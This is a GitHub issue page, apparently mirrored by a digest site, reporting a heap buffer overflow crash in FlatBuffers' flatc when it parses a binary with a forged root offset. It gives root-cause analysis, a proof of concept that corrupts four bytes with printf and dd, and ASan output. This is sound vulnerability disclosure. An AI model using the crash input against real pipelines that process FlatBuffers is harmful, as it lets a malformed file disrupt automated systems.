google / google/flatbuffers

Heap Buffer Overflow/SIGSEGV in flatc via Unvalidated vtable_offset in Binary Headers

Open
#8,957 4 comments 0 reactions 0 assignees View on GitHub
bug flatc
Dominant language
C++
Stars
26.5k
Forks
3.7k
PR merge metrics
No merged PRs in 30d

Description

### Summary
FlatBuffers command-line tool flatc crashes with a segmentation fault when parsing a malformed binary buffer. The issue is reproducible with AddressSanitizer and results in a heap buffer overflow originating from unchecked reads inside the binary parsing path. The crash occurs during dereferencing of attacker-controlled offsets in the vtable. A specially crafted FlatBuffers binary is sufficient to trigger the memory corruption. No user interaction beyond invoking flatc is required.

### Technical Details
The vulnerability is triggered by providing flatc with a malformed .bin file where the first 4 bytes (the root table offset) are overwritten with attacker-controlled values. The parser directly interprets these bytes as an offset into the buffer. When this offset is outside the valid allocated region, flatc performs uncontrolled reads which lead to a segmentation fault.

The crash consistently occurs in the method:

`flatbuffers::ReadScalar(void const*)`
and propagates through:

* Table::GetVTable()
* Table::GetOptionalFieldOffset()
* Table::CheckField()
* JsonPrinter::GenStruct()

Since the tool does not verify the validity of the vtable offset before dereferencing it, an attacker-supplied offset results in a memory access outside the allocated heap buffer and ultimately causes the heap buffer overflow and subsequent crash.

### Root Cause Analysis
table.h, the method GetVTable() calculates the pointer by subtracting a scalar read from the data without verifying if the resulting pointer stays within the allocated buffer.

### Proof of Concept
```
Clone and build FlatBuffers with ASan:
git clone https://github.com/google/flatbuffers.git
cd flatbuffers
rm -rf build
mkdir build && cd build
cmake -DCMAKE_CXX_FLAGS="-fsanitize=address -g" \
-DCMAKE_BUILD_TYPE=Debug \
-DFLATBUFFERS_BUILD_TESTS=ON \
..
cmake --build .
```
Create a malformed FlatBuffers binary:
```
printf "\xFF\xFF\xFF\xFF" | dd of=mutated.bin bs=1 seek=0 count=4 conv=notrunc
```
Run flatc on the corrupted binary:
```
flatc --raw-binary --json --strict-json -t ../monster.fbs -- mutated.bin
```
Reproduce the crash under AddressSanitizer:
```
ASAN_OPTIONS=detect_leaks=0 ./flatc --raw-binary --json --strict-json -t ../monster.fbs -- mutated.bin
```
ASan Output (abbreviated)

```
==4898==ERROR: AddressSanitizer: SEGV on unknown address 0x519100000e4f
READ memory access
#0 flatbuffers::ReadScalar()
#1 flatbuffers::Table::GetVTable()
#2 flatbuffers::Table::GetOptionalFieldOffset()
#3 flatbuffers::Table::CheckField()
#4 flatbuffers::JsonPrinter::GenStruct()
...
SUMMARY: AddressSanitizer: SEGV in flatbuffers::ReadScalar()
The offset 0x519100000e4f is derived directly from the attacker-controlled first 4 bytes of the buffer.
```

### Impact

While Google VRP has determined this does not cross a security boundary for their program, it represents a significant stability issue for CI/CD pipelines and automated tools that process FlatBuffers binaries, as it allows a malformed file to crash the compiler.

Contributor guide

Open the contributing guide

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.